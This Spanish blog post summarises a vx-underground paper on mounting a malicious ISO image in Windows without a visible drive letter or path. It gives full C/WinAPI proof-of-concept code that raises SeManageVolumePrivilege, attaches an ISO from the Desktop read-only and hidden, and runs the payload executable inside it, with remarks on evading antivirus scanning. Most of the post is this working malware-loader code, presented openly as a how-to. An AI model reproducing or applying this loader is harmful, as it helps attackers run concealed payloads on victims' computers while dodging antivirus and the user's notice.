Cómo montar un ISO malicioso correctamente

El uso de archivos ISO maliciosos se lleva usando desde hace tiempo en muchas campañas de malware: Phobos, ZLoader, LokiBot, Nanocore, Grandoreiro... pero hasta ahora no había visto un artículo tan claro como el de Mateusz, fundador de vx-underground, dónde muestra cómo montar correctamente un archivo ISO para ser utilizado con fines maliciosos. Veamos pues cómo montar una ISO sin establecer una ruta visible para el usuario y/o asignar una letra de dispositivo.

Primero, ¿por qué no usar un archivo VHD/VHDX (disco duro virtual) en lugar de un ISO (imagen de CD o DVD)? Ambos tienen que se virtualizados y montados por Windows y ambos utilizan llamadas a API similares (Virtual Storage API), pero muchos antivirus parecen ser incapaces de montar mediante programación un archivo VHD/VHDX, aunque parece que si son capaces de analizar imágenes ISO en cierta medida. ¿Entonces por que los desarrolladores de malware no usan mejor ficheros VHD? Pues básicamente porque el tamaño mínimo de un archivo VHD que se puede asignar en una Tabla de Partición GUID (GPT) es de 5MB.

Centrémonos entonces en los ISOs, mucho más pequeños y versátiles. Como decíamos, coinciden en el uso de ciertas APIs, y concretamente con AttachVirtualDisk podremos montar y leerlo también. Podremos llamar a OpenVirtualDisk​ como se define a continuación:
DWORD ​OpenVirtualDisk​(
  PVIRTUAL_STORAGE_TYPE         VirtualStorageType,  
  PCWSTR                        Path,  
  VIRTUAL_DISK_ACCESS_MASK      VirtualDiskAccessMask,
  OPEN_VIRTUAL_DISK_FLAG        Flags,
  POPEN_VIRTUAL_DISK_PARAMETERS Parameters,
  PHANDLE                       Handle
);

El primer parámetro, VirtualStorageType, debe ser válido como parte de una estructura VIRTUAL_STORAGE_TYPE que se define como:
typedef​​struct​ _​VIRTUAL_STORAGE_TYPE​ {
  ULONG DeviceId;
  GUID  VendorId;
} VIRTUAL_STORAGE_TYPE, *PVIRTUAL_STORAGE_TYPE;

El DeviceId debe establecerse en VIRTUAL_STORAGE_TYPE_DEVICE_ISO. Además, VendorId debe establecerse en VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT.
Si hacemos esto así, todo lo demás seguirá siendo prácticamente idéntico que con un archivo VHD/VHDX.

Explicación del código en C con WINAPI

La PoC tiene bastante programación genérica, como verificar que estamos ejecutando Windows 10, obtener la ubicación donde se pone archivo ISO y garantizar que tengamos los privilegios adecuados. A continuación vemos una descripción a alto nivel:

1. Obtener el PEB para asegurarnos de que nuestro código se ejecuta en Windows 10
if​ (Peb->OSMajorVersion != ​0x0a​)
    goto​ FAILURE;

2. Llamar a GetEnvironmentVariable con una variable USERPROFILE para obtener el usuario actual

3. Si nuestra invocación a GetEnvironmentVariable fue exitosa, concatenar "\\Desktop\\Demo.iso"
if​ (GetEnvironmentVariableW(​L"USERPROFILE"​, lpIsoPath, DEFAULT_DATA_ALLOCATION_SIZE) == ​0​)
    goto​ FAILURE;
else
    wcscat(lpIsoPath, ​L"\\Desktop\\Demo.iso"​);

4. Verificar nuestros tokens de seguridad. Si no tenemos SeManageVolumePrivilege hay que solicitarlo.
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
{
    if (!ImpersonateSelf(SecurityImpersonation))
       goto FAILURE;

    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
           goto FAILURE;
}

//see if we have the privilege to manage volumes
if (!LookupPrivilegeValueW(NULL, L"SeManageVolumePrivilege", &Luid))
    goto FAILURE;

Tp.PrivilegeCount = 1;
Tp.Privileges[0].Luid = Luid;
Tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

//get SeManageVolumePrivilege
if (!AdjustTokenPrivileges(hToken, FALSE, &Tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL))
    goto FAILURE;

5. Llamar a OpenVirtualDisk con una estructura VIRTUAL_STORAGE_TYPE correctamente inicializada
Parameters.Version = OPEN_VIRTUAL_DISK_VERSION_1;
Parameters.Version1.RWDepth = OPEN_VIRTUAL_DISK_RW_DEPTH_DEFAULT;

if​(OpenVirtualDisk(&VirtualStorageType, lpIsoPath,
    VIRTUAL_DISK_ACCESS_ATTACH_RO | VIRTUAL_DISK_ACCESS_GET_INFO,
    OPEN_VIRTUAL_DISK_FLAG_NONE, &Parameters,
    &VirtualObject) != ERROR_SUCCESS)
{
    goto​ FAILURE;
}

6. Llamar a AttachVirtualDisk con ATTACH_VIRTUAL_DISK_FLAG establecido en ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY y ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER
AttachParameters.Version = ATTACH_VIRTUAL_DISK_VERSION_1;
if​ (AttachVirtualDisk(VirtualObject, ​0​,
                      ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY | ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER,
              ​0​, &AttachParameters, ​0​) != ERROR_SUCCESS)
{
goto​ FAILURE;
}

7. GetVirtualDiskPhysicalPath para recuperar la ruta física a nuestro ISO montado

8. Si la invocación de GetVirtualDiskPhysicalPath fue exitosa, concatenar "\\Demo.exe"
if​ (GetVirtualDiskPhysicalPath(VirtualObject, &dwData, lpIsoAbstractedPath) != ERROR_SUCCESS)
    goto​ FAILURE;
else
    wcscat(lpIsoAbstractedPath, ​L"\\Demo.exe"​);

9. Llamar a CreateProcess

10. Asegurarse de que, en caso de éxito o fracaso, todos los handles y heaps se hayan cerrado. Salir correctamente.
if (!CreateProcess(lpIsoAbstractedPath, NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &Info, &ProcessInformation))
    goto FAILURE;

//close everything
if (VirtualObject)
    CloseHandle(VirtualObject);

if (hToken)
    CloseHandle(hToken);
    
return ERROR_SUCCESS;

Código completo:
#include <Windows.h>
#include <virtdisk.h>
#include <stdio.h>
#include <initguid.h>
#include <sddl.h>

//necessary includes + PEB definition

typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;

typedef struct _LDR_MODULE {
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
    PVOID                   BaseAddress;
    PVOID                   EntryPoint;
    ULONG                   SizeOfImage;
    UNICODE_STRING          FullDllName;
    UNICODE_STRING          BaseDllName;
    ULONG                   Flags;
    SHORT                   LoadCount;
    SHORT                   TlsIndex;
    LIST_ENTRY              HashTableEntry;
    ULONG                   TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;

typedef struct _PEB_LDR_DATA {
    ULONG                   Length;
    ULONG                   Initialized;
    PVOID                   SsHandle;
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _PEB {
    BOOLEAN                 InheritedAddressSpace;
    BOOLEAN                 ReadImageFileExecOptions;
    BOOLEAN                 BeingDebugged;
    BOOLEAN                 Spare;
    HANDLE                  Mutant;
    PVOID                   ImageBase;
    PPEB_LDR_DATA           LoaderData;
    PVOID                   ProcessParameters;
    PVOID                   SubSystemData;
    PVOID                   ProcessHeap;
    PVOID                   FastPebLock;
    PVOID                   FastPebLockRoutine;
    PVOID                   FastPebUnlockRoutine;
    ULONG                   EnvironmentUpdateCount;
    PVOID*                    KernelCallbackTable;
    PVOID                   EventLogSection;
    PVOID                   EventLog;
    PVOID                   FreeList;
    ULONG                   TlsExpansionCounter;
    PVOID                   TlsBitmap;
    ULONG                   TlsBitmapBits[0x2];
    PVOID                   ReadOnlySharedMemoryBase;
    PVOID                   ReadOnlySharedMemoryHeap;
    PVOID*                    ReadOnlyStaticServerData;
    PVOID                   AnsiCodePageData;
    PVOID                   OemCodePageData;
    PVOID                   UnicodeCaseTableData;
    ULONG                   NumberOfProcessors;
    ULONG                   NtGlobalFlag;
    BYTE                    Spare2[0x4];
    LARGE_INTEGER           CriticalSectionTimeout;
    ULONG                   HeapSegmentReserve;
    ULONG                   HeapSegmentCommit;
    ULONG                   HeapDeCommitTotalFreeThreshold;
    ULONG                   HeapDeCommitFreeBlockThreshold;
    ULONG                   NumberOfHeaps;
    ULONG                   MaximumNumberOfHeaps;
    PVOID**                    ProcessHeaps;
    PVOID                   GdiSharedHandleTable;
    PVOID                   ProcessStarterHelper;
    PVOID                   GdiDCAttributeList;
    PVOID                   LoaderLock;
    ULONG                   OSMajorVersion;
    ULONG                   OSMinorVersion;
    ULONG                   OSBuildNumber;
    ULONG                   OSPlatformId;
    ULONG                   ImageSubSystem;
    ULONG                   ImageSubSystemMajorVersion;
    ULONG                   ImageSubSystemMinorVersion;
    ULONG                   GdiHandleBuffer[0x22];
    ULONG                   PostProcessInitRoutine;
    ULONG                   TlsExpansionBitmap;
    BYTE                    TlsExpansionBitmapBits[0x80];
    ULONG                   SessionId;
} PEB, * PPEB;

PPEB RtlGetPeb(VOID);

#define DEFAULT_DATA_ALLOCATION_SIZE (MAX_PATH * sizeof(WCHAR))

int wmain(VOID)
{
    DWORD dwError = ERROR_SUCCESS;
    VIRTUAL_STORAGE_TYPE VirtualStorageType = { 0 };
    OPEN_VIRTUAL_DISK_PARAMETERS Parameters;
    ATTACH_VIRTUAL_DISK_PARAMETERS AttachParameters;
    HANDLE VirtualObject = NULL, hToken = NULL;
    WCHAR lpIsoPath[DEFAULT_DATA_ALLOCATION_SIZE] = { 0 };
    WCHAR lpIsoAbstractedPath[DEFAULT_DATA_ALLOCATION_SIZE] = { 0 };
    PPEB Peb = (PPEB)RtlGetPeb();
    static GUID VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT_EX = { 0xEC984AEC ,0xA0F9, 0x47e9, 0x901F, 0x71415A66345B };
    LUID Luid = { 0 };
    TOKEN_PRIVILEGES Tp = { 0 };
    PSECURITY_DESCRIPTOR Sd;
    DWORD dwData = DEFAULT_DATA_ALLOCATION_SIZE;
    STARTUPINFOW Info = { 0 };
    PROCESS_INFORMATION ProcessInformation = { 0 };

    //make sure we're on Windows 10
    if (Peb->OSMajorVersion != 0x0a)
        goto FAILURE; 

    //get userprofile e.g. %SystemDrive%\Users\{username}
    if (GetEnvironmentVariableW(L"USERPROFILE", lpIsoPath, DEFAULT_DATA_ALLOCATION_SIZE) == 0)
        goto FAILURE;
    else //append \\desktop\\demo.iso if successful
        wcscat(lpIsoPath, L"\\Desktop\\Demo.iso");

    //get thread tokens
    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
    {
        if (!ImpersonateSelf(SecurityImpersonation))
            goto FAILURE;

        if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
            goto FAILURE;
    }

    //see if we have the privilege to manage volumes
    if (!LookupPrivilegeValueW(NULL, L"SeManageVolumePrivilege", &Luid))
        goto FAILURE;

    Tp.PrivilegeCount = 1;
    Tp.Privileges[0].Luid = Luid;
    Tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    //get SeManageVolumePrivilege
    if (!AdjustTokenPrivileges(hToken, FALSE, &Tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL))
        goto FAILURE;

    VirtualStorageType.DeviceId = VIRTUAL_STORAGE_TYPE_DEVICE_ISO;
    VirtualStorageType.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT_EX;

    Parameters.Version = OPEN_VIRTUAL_DISK_VERSION_1;
    Parameters.Version1.RWDepth = OPEN_VIRTUAL_DISK_RW_DEPTH_DEFAULT;

    //open iso file
    if(OpenVirtualDisk(&VirtualStorageType, lpIsoPath, 
                       VIRTUAL_DISK_ACCESS_ATTACH_RO | VIRTUAL_DISK_ACCESS_GET_INFO, 
                       OPEN_VIRTUAL_DISK_FLAG_NONE, &Parameters, 
                       &VirtualObject) != ERROR_SUCCESS)
    {
        goto FAILURE;
    }

    //attach to harddisk with no drive letter/path
    AttachParameters.Version = ATTACH_VIRTUAL_DISK_VERSION_1;
    if (AttachVirtualDisk(VirtualObject, 0, 
                          ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY | ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER, 
                          0, &AttachParameters, 0) != ERROR_SUCCESS)
    {
        goto FAILURE;
    }

    
    //get physical path
    if (GetVirtualDiskPhysicalPath(VirtualObject, &dwData, lpIsoAbstractedPath) != ERROR_SUCCESS)
        goto FAILURE;
    else //if we are able to get physical path, append payload exe that we know is inside of iso file
        wcscat(lpIsoAbstractedPath, L"\\Demo.exe");

    //run malicious executable
    if (!CreateProcess(lpIsoAbstractedPath, NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &Info, &ProcessInformation))
        goto FAILURE;

    //close everything
    if (VirtualObject)
        CloseHandle(VirtualObject);

    if (hToken)
        CloseHandle(hToken);
    
    return ERROR_SUCCESS;

FAILURE: //generic error handling routine, get last error and close any handles that may be open

    dwError = GetLastError();

    if (VirtualObject)
        CloseHandle(VirtualObject);

    if (hToken)
        CloseHandle(hToken);

    return dwError;
}

PPEB RtlGetPeb(VOID)
{
    return (PPEB)__readgsqword(0x60);
}

Fuente: https://vxug.fakedoma.in/papers/VXUG/Exclusive/WeaponizingWindowsVirtualization.pdf

Comentarios